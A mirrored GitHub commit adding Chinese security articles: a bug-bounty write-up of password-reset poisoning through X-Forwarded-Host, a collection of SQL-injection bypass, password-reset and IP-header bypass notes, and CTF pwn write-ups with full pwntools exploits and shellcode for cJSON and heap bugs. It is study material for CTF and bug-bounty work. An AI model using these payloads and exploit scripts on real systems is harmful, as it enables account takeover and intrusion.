mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞、当黑客那些年之帐户接管系列漏洞-案例一斩获1000$、比较有意思的几个漏洞挖掘记录、要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结、
This commit is contained in:
1 parent
08d2b62083
commit
ee83457fa8
5 files changed
+451
-95
No files matched your search
@@ -2248,5 +2248,9 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247493098&idx=1&sn=daf17eea39dbbe868a10945583414150": "网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=1&sn=148bc2127ec92f4853e3d25ce1e7c686": "像职业黑客一样思考,在漏洞挖掘中可以多赚30000美元(真的吗?)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=2&sn=e56539ff84e21a74e6dba51ec10c2eab": "【SRC】SQL 注入(SQLi)漏洞检测指南",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487547&idx=1&sn=208ed8027238c77ddd5a967fb895a024": "赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwODI1ODgzOA==&mid=2247506335&idx=1&sn=7c0ecf4f62abd40aec0f31829276017e": "当黑客那些年之帐户接管系列漏洞-案例一斩获1000$",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247517950&idx=1&sn=bef8c9d5541206c2256a5de3b375398a": "比较有意思的几个漏洞挖掘记录",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488307&idx=1&sn=bf64b07108abe531018ffec416ddf48a": "要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结"
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
# 当黑客那些年之帐户接管系列漏洞-案例一斩获1000$
|
||||
原创 一个不正经的黑客 一个不正经的黑客 2024-12-29 12:38
|
||||
|
||||
# 当黑客那些年之帐户接管系列漏洞-案例一斩获1000$
|
||||
|
||||
这篇文章将介绍作者在 Hackerone 的私人项目中发现的一个漏洞,该漏洞允许我接管任何用户的账户。
|
||||
|
||||
在开始之前,我想先提供一些关于 Host 头的小基础知识。
|
||||
## 什么是 HTTP Host 头?
|
||||
|
||||
HTTP Host 头是 HTTP/1.1 中的必需请求头,它指定了用户希望访问的域名。
|
||||
|
||||
例如,如果用户访问 https://example.com,那么他们的浏览器将发出如下所示的请求,其中包含 Host 头:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
|
||||
Host: example.com
|
||||
```
|
||||
|
||||
**现在让我们开始**
|
||||
|
||||
几天前,我收到了 Hackerone 的通知,说我被邀请加入了一个私密项目。
|
||||
|
||||
我接受了邀请,并开始在这个私密项目中进行漏洞挖掘。
|
||||
|
||||
刚开始进行漏洞挖掘的前几天,我花了 5 到 6 天时间,发现了跨站脚本攻击(XSS)、IDOR、SQL 注入、登录页面漏洞、信息泄露和子域名接管等问题,但始终没有找到什么特别的漏洞。
|
||||
|
||||

|
||||
|
||||
经过几个小时的休息后,我再次开始在该域名上进行漏洞挖掘。
|
||||
|
||||
这个时候,我发现了一个上次没注意到的有趣功能。
|
||||
|
||||
这个有趣的功能就是“密码重置功能”。
|
||||
|
||||
于是我心想,为什么不试试这个密码重置功能呢?
|
||||
|
||||

|
||||
|
||||
由于这是一个私密项目,我不能公开目标的名称。
|
||||
|
||||
所以,让我们假设目标是 **site.com**
|
||||
。他们的密码重置功能大致是这样的:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
我注意到,每当我们输入电子邮件并点击“重置密码”时,我们会收到一封包含密码重置令牌链接的电子邮件。
|
||||
|
||||
密码重置令牌链接如下所示:
|
||||
```
|
||||
https://site.com/action-token?key=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICIzZWM2ODU2Z
|
||||
```
|
||||
|
||||
这次,我决定拦截密码重置请求,并且启动了我的 ngrok 服务器。
|
||||
|
||||
原始请求大致如下所示:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
然后,我在原始请求中添加了另一个头部 X-Forwarded-Host
|
||||
,并将其设置为我的 ngrok 服务器域名。
|
||||
|
||||
现在修改后的请求大致如下所示:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
然后这次,我收到了一个更改密码的电子邮件,但其中的密码重置令牌链接指向了我的 ngrok 服务器域名。
|
||||
|
||||
密码重置令牌链接看起来如下所示:
|
||||
```
|
||||
https://95saf4ct71g.ngrok.io/action-token?key=wia2lkIiA6ICciOiJIUzI1NiIsInR5cCIgODU2ZeyJhbGiA
|
||||
```
|
||||
|
||||
你可以看到,我成功地通过在密码重置请求中添加 X-Forwarded-Host 头部来更改了主机。
|
||||
|
||||
接着,我注意到,如果我在密码重置页面中输入受害者的电子邮件并拦截请求,再添加一个包含我恶意域名的 X-Forwarded-Host 头部,受害者将会收到一个带有我恶意域名的密码重置令牌链接。
|
||||
|
||||
当受害者点击该链接时,他们将被重定向到我的网站,并且所有的令牌都会泄漏给我。
|
||||
|
||||
然后,我可以使用泄漏的令牌来更改受害者的密码。
|
||||
|
||||
是的,这个漏洞的影响就是完整的账户接管。
|
||||
|
||||

|
||||
|
||||
所以,现在我可以完全接管任何在 site.com 上拥有账户的人的账户,只要通过重置他们的密码。
|
||||
|
||||
因此,我毫不浪费时间,成功提交了这个漏洞,并附上了完整的概念验证。
|
||||
|
||||
随后,Hackerone 的私人项目团队奖励了我 1000 美金。
|
||||
|
||||
|
||||

|
||||
## 漏洞点评
|
||||
|
||||
这个漏洞非常经典,漏洞成因可以追溯为
|
||||
系统架构过于复杂,存在多层转发,进而易诱发配置不当的情况。
|
||||
|
||||
我们可以假设重置密码是一个后台服务,那么它是无法知道用户访问的入口域名是什么的,这种情况一般就是代码直接获取 Host 头(正常人写法),但是这个 Host 头可能会被前置的中间件如 nginx 进行重写,而重写的规则可能就是获取 X-Forwarded-Host(类似 X-Forwarded-Ip)
|
||||
|
||||
如果是上述情况,通过在用户端X-Forwarded-Host覆盖重写的值就会导致这个漏洞产生。
|
||||
## 文末寄语
|
||||
|
||||
本文算是一个合集系列,会收集各种经典 BugBounty 漏洞案例,分析形成的原因并归类探测方法。
|
||||
|
||||
后续可能会将这些成果转换为检测工具(
|
||||
Burp 插件)完成赋能,敬请各位观众老爷期待,感谢大家的阅读和支持。
|
||||
|
||||
Thanks https://saajanbhujel.github.io/bugbounty/blog/web/2021-02-26-password-reset-token-leak-via-x-forwarded-hos
|
||||
t
|
||||
|
||||
|
||||
+101
-93
@@ -1,11 +1,13 @@
|
||||
# 比较有意思的几个漏洞挖掘记录
|
||||
红猪 Z2O安全攻防 2024-11-25 13:43
|
||||
红猪 Z2O安全攻防 2024-12-29 12:35
|
||||
|
||||
点击上方[蓝字],关注我们
|
||||
|
||||
|
||||
**建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!**
|
||||
因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
# 免责声明
|
||||
@@ -16,30 +18,25 @@
|
||||
# 文章正文
|
||||
|
||||
|
||||
来源:奇安信攻防社区,作者:红猪,排版来自:潇湘信安
|
||||
|
||||
原文:
|
||||
https://forum.butian.net/share/3692
|
||||
|
||||
**sql注入**
|
||||
# sql注入
|
||||
|
||||
某条数据,点击详情的数据包,单引号报错
|
||||
|
||||

|
||||

|
||||
|
||||
再加一个正常
|
||||
|
||||

|
||||

|
||||
|
||||
本以为是一次平平无奇的sql注入,没想到绕了一天才绕过去,下面放几张测试失败的截图
|
||||
|
||||
首先就是404,不知道规则是啥样的,下面语句应该是没问题的就会404,1=1让语句不通就会500
|
||||
|
||||

|
||||

|
||||
|
||||
试了下orcale的注入方法,又爆403,这里'||55||'会返回空数据,'||1/0||'会爆500,这里判断语句能想到的都试了,全403,最奇怪的是只有语句正确才会403,少写一个D就会500,不知道这什么匹配逻辑,不过试了一些插入空白字符啥的也都不行
|
||||
|
||||

|
||||

|
||||
|
||||
这里我又跑了一遍字典,全404、500、403,期间尝试结合分块传输、参数污染、垃圾数据、白名单、高并发均未绕过去
|
||||
|
||||
@@ -48,11 +45,11 @@ https://forum.butian.net/share/3692
|
||||
'OR+1+in+1+and+'a'+in+'a
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
当1 in 5 的时候整个结果为false,返回为空
|
||||
|
||||

|
||||

|
||||
|
||||
直接注下user的长度
|
||||
```
|
||||
@@ -61,7 +58,7 @@ https://forum.butian.net/share/3692
|
||||
|
||||
只有相等时会卡死,很明显为7位
|
||||
|
||||

|
||||

|
||||
|
||||
直接用instr函数注用户名
|
||||
```
|
||||
@@ -75,87 +72,74 @@ instr('user','s')返回2
|
||||
|
||||
第一位为S
|
||||
|
||||

|
||||

|
||||
|
||||
第二位为H,其他同理
|
||||
|
||||

|
||||
|
||||
|
||||
**任意用户名密码重置**
|
||||

|
||||
# 任意用户名密码重置
|
||||
|
||||
玩的某个游戏,手机号换了,申诉成功给我发了邮件,可以看到id和token
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这里直接更换id访问,进行更改密码,显示错误
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
简单测了测,id随便改,token为空
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
直接修改密码成功
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这里因为不知道目标账号的id,只能随机修改,因为手机号基本就跟id绑定,于是找到了申诉的功能点,这里输入手机号
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以看到返回了id
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
下一步就是要知道目标的手机号,经过我的不懈寻找,在游戏app的登录界面,有个忘记账号功能
|
||||
|
||||

|
||||

|
||||
|
||||
这里输入手机号或者游戏的uid就可以看到一些信息
|
||||
|
||||

|
||||
|
||||
这里游戏uid是公开的,资料就能看到,不过手机号只有前三位和后四位
|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||
在官网找回密码处,这里输入手机号抓个包
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
输入不对的手机号会提示错误,因为我们知道前三位还有后四位,爆破起来还是很快的
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
最后只得到几个真实存在的手机号,这时候就可以去游戏app登陆界面去对比,手机号正确的话,返回的UID是一样的,这里也可以抓包写个脚本去判断,因为真实存在手机号就几个,我就直接手动尝试的
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
确定了目标手机号就知道了id,就可以想修改谁的密码就可以修改谁的了
|
||||
# 某站测试记录
|
||||
|
||||
|
||||
**某站测试记录**
|
||||
|
||||
目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com
|
||||
|
||||
目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com
|
||||
会提示ip无法访问,访问demo.btest.com
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
另外一个也一样
|
||||
|
||||

|
||||

|
||||
|
||||
这里直接插xff头绕过的
|
||||
```
|
||||
@@ -186,64 +170,54 @@ X-Host: 127.0.0.1
|
||||
X-Custom-lP-Authorization:127.0.0.1
|
||||
```
|
||||
|
||||
这里是创建订单成功了,返回了一个地址,https://cashier.xxxx.xxxx
|
||||
|
||||
这里是创建订单成功了,返回了一个地址,
|
||||
https://cashier.xxxx.xxxx
|
||||
|
||||

|
||||

|
||||
|
||||
访问之后
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
因为这是订单信息,所以我猜测前面子域名是后台的
|
||||
|
||||
构造
|
||||
https://cashier.atest.com
|
||||
访问之后401,添加xff头直接访问
|
||||
构造https://cashier.atest.com 访问之后401,添加xff头直接访问
|
||||
|
||||

|
||||

|
||||
|
||||
这里a网站应该也是一样的规则
|
||||
|
||||

|
||||

|
||||
|
||||
因为是测试后台,这里直接将test删除,访问
|
||||
https://cashier.a.com
|
||||
显示无法访问,修改xff头仍然失败
|
||||
|
||||

|
||||
因为是测试后台,这里直接将test删除,访问https://cashier.a.com 显示无法访问,修改xff头仍然失败
|
||||
|
||||

|
||||
|
||||
只能从测试站入手了,首先是爆破出来了用户密码,但是却无法登录,不过返回了token,这里前端看到了webpack的接口信息
|
||||
|
||||

|
||||

|
||||
|
||||
在JS存在好多接口和接口配置包的构造并且还有API路径
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
抓个登录接口的包看下格式拼接就好
|
||||
|
||||
有的接口有未授权,有的接口需要权限,但是爆破成功的数据包里面是有返回token的,于是带着这个token访问就可以了,但是均为测试站点的数据
|
||||
|
||||

|
||||

|
||||
|
||||
于是猜测管理后台地址也是有这些接口的,直接更换请求的host,成功获取到真实数据
|
||||
|
||||

|
||||

|
||||
|
||||
**one more thing**
|
||||
作者:红猪
|
||||
|
||||
来源:https://forum.butian.net/share/3692
|
||||
|
||||
建立了一个
|
||||
src专项圈子
|
||||
,内容包含**src漏洞知识库**
|
||||
、**src挖掘技巧**
|
||||
、**src视频教程**
|
||||
等,一起学习赚赏金技巧,以及专属微信群一起挖洞
|
||||
src专项圈子,内容包含**src漏洞知识库**、**src挖掘技巧**、**src视频教程**等,一起学习赚赏金技巧,以及专属微信群一起挖洞
|
||||
|
||||
圈子专注于更新src相关:
|
||||
|
||||
@@ -255,38 +229,72 @@ src专项圈子
|
||||
```
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
图片
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
图片
|
||||
|
||||

|
||||
图片
|
||||
|
||||
|
||||
图片
|
||||
|
||||

|
||||
|
||||
图片
|
||||

|
||||
|
||||

|
||||
图片
|
||||
|
||||
图片
|
||||
|
||||

|
||||
|
||||

|
||||
图片
|
||||
|
||||

|
||||
图片
|
||||
|
||||
|
||||
|
||||
|
||||
### 考证咨询
|
||||
|
||||
|
||||
最优惠报考
|
||||
各类安全证书(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复"
|
||||
好友位"咨询。
|
||||
|
||||
### 交流群
|
||||
|
||||
|
||||
关注公众号回复“**加群**”,添加Z2OBot好友,自动拉你加入**Z2O安全攻防交流群(微信群)**分享更多好东西。
|
||||
|
||||

|
||||
|
||||
|
||||
### 关注我们
|
||||
|
||||
|
||||
|
||||
**关注福利:**
|
||||
|
||||
**回复“**
|
||||
**书籍****" 获取 网络安全书籍PDF教程**
|
||||
|
||||
**回复“**
|
||||
**字典****" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。**
|
||||
|
||||
**回复“漏洞库" 获取 最新漏洞POC库(**
|
||||
**1.2W+****)******
|
||||
|
||||
**回复“资料" 获取 网络安全、渗透测试相关资料文档合集**
|
||||
|
||||
****
|
||||
点个【 在看 】,你最好看
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
# 要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结
|
||||
闻人语默 老鑫安全 2024-12-29 10:00
|
||||
|
||||

|
||||
#
|
||||
# 简介
|
||||
|
||||
**JSON(JavaScript Object Notation)**
|
||||
是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。它以纯文本形式存储和传输数据,广泛应用于客户端和服务器之间的数据交互。
|
||||
## JSON格式
|
||||
- 键/值对用冒号 :
|
||||
分隔。
|
||||
|
||||
- 多个键/值对之间用逗号 ,
|
||||
分隔。
|
||||
|
||||
- 对象和数组可以嵌套,即可以在对象中包含其他对象或数组,或者在数组中包含对象或其他数组。
|
||||
|
||||
## 每个格式例子
|
||||
### 字符串(String)
|
||||
```
|
||||
{ "greeting": "Hello, World!"}
|
||||
```
|
||||
### 数字(Number)
|
||||
```
|
||||
{ "age": 25, "height": 1.75}
|
||||
```
|
||||
### 布尔值(Boolean)
|
||||
```
|
||||
{ "isStudent": true, "isGraduated": false}
|
||||
```
|
||||
### 空值(Null)
|
||||
```
|
||||
{ "middleName": null}
|
||||
```
|
||||
### 对象(Object)
|
||||
```
|
||||
{ "person": { "name": "Bob", "age": 30 }}
|
||||
```
|
||||
### 数组(Array)
|
||||
```
|
||||
json{ "fruits": ["apple", "banana", "cherry"]}
|
||||
```
|
||||
### 嵌套数组和对象
|
||||
```
|
||||
{ "company": "Tech Corp", "established": 1999, "isPublic": true, "employees": [ { "name": "Alice", "age": 28, "skills": ["Java", "Python"], "address": { "city": "New York", "postalCode": null } }, { "name": "Bob", "age": 34, "skills": ["JavaScript", "HTML"], "address": { "city": "San Francisco", "postalCode": "94123" } } ]}
|
||||
```
|
||||
|
||||
cJSON 是一个轻量级的 C 语言库,用于高效地解析和生成 JSON 数据。它提供简单易用的 API,支持基本的 JSON 数据类型,如对象、数组、字符串、数字、布尔值和空值。cJSON 的设计注重性能和内存占用,适合嵌入式系统和资源受限的环境,能够在多种操作系统上运行,广泛用于需要 JSON 数据交互的应用中。
|
||||
### 字符串(String)
|
||||
## cJSON结构体
|
||||
```
|
||||
typedef struct cJSON{ struct cJSON *next, *prev; struct cJSON *child; int type; char *valuestring; int valueint; double valuedouble; char *string;} cJSON;
|
||||
```
|
||||
- **next**
|
||||
: 指向下一个同级 JSON 对象或元素的指针。这使得 cJSON
|
||||
能够形成一个链表,从而支持 JSON 数组和对象的遍历。
|
||||
|
||||
- **prev**
|
||||
: 指向前一个同级 JSON 对象或元素的指针。与 next
|
||||
一起,这提供了双向遍历的能力。
|
||||
|
||||
- **child**
|
||||
: 指向当前 JSON 对象的第一个子元素的指针。对于嵌套的 JSON 对象,可以通过这个指针访问子对象或子数组。
|
||||
|
||||
type
|
||||
用于区分 JSON 对象的不同类型,具体值及其含义如下:
|
||||
```
|
||||
- 0: `false` — 表示布尔假值- 1: `true` — 表示布尔真值- 2: `null` — 表示空值- 3: `number` — 表示数值(整数或浮点数)- 4: `string` — 表示字符串- 5: `array` — 表示数组- 6: `object` — 表示对象(键值对)
|
||||
```
|
||||
- type
|
||||
与 string
|
||||
和 value*
|
||||
的关系
|
||||
|
||||
- type
|
||||
字段决定了当前 cJSON
|
||||
实例的具体类型,这直接影响 string
|
||||
和 value*
|
||||
字段的有效性。
|
||||
|
||||
- 只有当 type
|
||||
值为 4
|
||||
时,valuestring
|
||||
字段才有效,意味着只有在当前类型为字符串时,该字段才会被赋予实际的字符串数据。
|
||||
|
||||
- 只有当 type
|
||||
值为 3
|
||||
时,valueint
|
||||
或 valuedouble
|
||||
字段才有效,这表明在当前类型为数字时,这些字段将被填充有效的数值数据。
|
||||
|
||||

|
||||
## 序列化cJSON结构体
|
||||
|
||||

|
||||
# 2021 SCTF dataleak
|
||||
## 程序保护
|
||||
|
||||

|
||||
## 漏洞分析
|
||||
|
||||

|
||||
|
||||
这里初看是没有什么漏洞的,不存在溢出和连带读的情况,但是有个cJSON_minify函数 通过ida对给的libcjson文件静态分析发现
|
||||
|
||||

|
||||
|
||||
将这个转化一下为
|
||||
```
|
||||
#include <stdint.h>#include <stdbool.h>void cJSON_Minify(char *json) { if (!json) return; char *jsona = json; uint8_t *into = (uint8_t *)json; while (*jsona) { switch (*jsona) { case ' ': case '\t': case '\r': case '\n': jsona++; // Skip whitespace break; case '/': if (jsona[1] == '/') { while (*jsona && *jsona != '\n') jsona++; // Skip single-line comment } else if (jsona[1] == '*') { jsona += 2; // Skip the /* while (*jsona && !(*jsona == '*' && jsona[1] == '/')) { if (!*jsona) return; // Exit if we reach the end without closing jsona++; // Skip until end of comment } jsona += 2; // Skip the */ } else { *into++ = *jsona++; // Copy character } break; case '"': *into++ = *jsona++; while (*jsona && *jsona != '"') { *into++ = *jsona++; // Copy character if (*(jsona - 1) == '\\') *into++ = *jsona++; // Copy escaped character } if (*jsona) *into++ = *jsona++; // Copy closing quote break; default: *into++ = *jsona++; // Copy normal character break; } } *into = 0; // Null-terminate the new string}
|
||||
```
|
||||
|
||||
这里存在一个注释没有对未闭合进行检测的情况,就比如如果我是/aaaaaaaaaaaaaaaaaa 但是没闭合的话 这种情况就会一直执行这个循环 也就是jsona++但是我们读入是通过
|
||||
into++ = *jsona++进行的读入 就会导致我们可以越界读到程序让我们leak的位置
|
||||
|
||||

|
||||
|
||||
可以看到正常读入是这个样子,此时我们需要泄露的this_is_data_in_server有22字节,按照我们上面的分析如果全是注释没闭合那么,就会把this读入到xxx90的位置,rsi是我们wirite的地址,也就是读出末尾的server
|
||||
|
||||

|
||||
|
||||
那么我们就可以通过控制注释的size 来分两次读出flag
|
||||
## exp
|
||||
```
|
||||
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\s('aaaaaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('aaaaaaaa/*'.ljust(0xe,'b')) #'this_is_dat'flag1=mx.recv(0xb)s('aaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('/*'.ljust(0xe,'b')) #'this_is_dat'flag2=mx.recv(0xb)print(flag1+flag2)inter()
|
||||
```
|
||||
|
||||

|
||||
# 2024 强网拟态 ezcode
|
||||
## 程序保护
|
||||
|
||||

|
||||
## 漏洞分析
|
||||
|
||||

|
||||
|
||||
这里有个cJSON_Parse 将JSON字符串反序列化为CJSON结构体 并且cJSON_GetObjectItemCaseSensitive(v7, "shellcode"); 取的是shellcode的值 因此我们只要
|
||||
```
|
||||
{"shellcode":content.hex()}
|
||||
```
|
||||
|
||||
以这个格式就可以传输了 我们可以测试一下
|
||||
|
||||
可以看到我们是可以传输的:
|
||||
|
||||

|
||||
|
||||
但是题目限制了22字节的shellcode 并且此时的0x9998000段是没有可写权限的 因此我们要mprotect赋予权限 并且 再次read一次读入orw的shellcode
|
||||
|
||||
这里要设置一下
|
||||
|
||||
rdi要为0x9998000 rsi要为len 不变就行 rdx为7
|
||||
```
|
||||
shl edi,12mov ax,10mov dx,7syscall
|
||||
```
|
||||
|
||||
rdi为
|
||||
```
|
||||
xor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall
|
||||
```
|
||||
|
||||
但是这里是24字节,多了两字节 可以从这里优化mov dx,7 改为lea edx,[rax-3]
|
||||
|
||||
刚好22字节 然后就读入shellcode进行orw就可以了
|
||||
|
||||
orw_shellcode
|
||||
```
|
||||
mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall
|
||||
```
|
||||
## exp
|
||||
```
|
||||
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./vuln"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\content=asm('''shl edi, 12mov ax,10lea edx,[rax-3]syscallxor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall''')print(len(content))payload={"shellcode":content.hex()}sl(json.dumps(payload))orw=asm('''mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall''')payload=b'flag\x00'+b'\x00'*5+orwsl(payload)inter()
|
||||
```
|
||||
|
||||

|
||||
# 2024 ciscn决赛 ezheap
|
||||
## 程序保护
|
||||
|
||||

|
||||
## 漏洞分析
|
||||
|
||||

|
||||
|
||||
从这里可以看出来是有一个取值的过程,并且是相互对应的,如果没有取出来则会进入error退出程序
|
||||
|
||||
而v10来源于v13经过处理函数,跟进这个函数发现:
|
||||
|
||||

|
||||
|
||||
存在一些json格式的特征,像null false true这种就是json格式中的布尔值,同时也有闭合{}的检测 因此可以基本确定发送的是json格式
|
||||
### 交互脚本
|
||||
```
|
||||
def add(size,cont): payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' sl(payload)def delete(num): payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def show(num): payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def edit(idx,len,cont): payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' print(payload) sl(payload)
|
||||
```
|
||||
## 漏洞分析
|
||||
|
||||

|
||||
|
||||
没有置0 这里存在uaf漏洞 并且是2.31 存在uaf漏洞且没限制基本随便打了,这里难点就是因为是json的传输,导致泄露的时候会有一些干扰 我们要通过调试来调整传输的东西进行泄露
|
||||
## exp
|
||||
```
|
||||
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg(): gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\def add(size,cont): payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' sl(payload)def delete(num): payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def show(num): payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}' rl("Please input:") sl(payload)def edit(idx,len,cont): payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"' payload=payload.encode() payload+=cont payload+=b'"'+b'}' print(payload) sl(payload)add(0x400,b'a') #0add(0x400,b'a') #1delete(0)for i in range(6): edit(0,0x400,b'a'*0x10) delete(0)dbg()delete(1)add(0x60,b'') 